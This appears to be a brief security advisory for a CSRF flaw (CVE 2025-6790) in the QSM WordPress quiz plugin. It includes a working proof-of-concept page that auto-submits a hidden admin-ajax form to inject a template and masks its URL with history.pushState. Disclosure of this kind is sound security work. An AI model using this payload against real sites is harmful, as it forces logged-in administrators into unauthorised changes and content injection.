QSM < 10.2.3 – Template Creation via CSRF | CVE 2025-6790

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack.

Proof of Concept

<html>
  <body>
    <form action="http://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="qsm&#95;insert&#95;quiz&#95;template" />
      <input type="hidden" name="template&#95;name" value="HACKED&#95;PAYLOAD" />
      <input type="hidden" name="template&#95;content" value="&lt;h1&gt;HACKED&lt;&#47;h1&gt;" />
      <input type="hidden" name="template&#95;id" value="" />
      <input type="hidden" name="template&#95;type" value="result" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>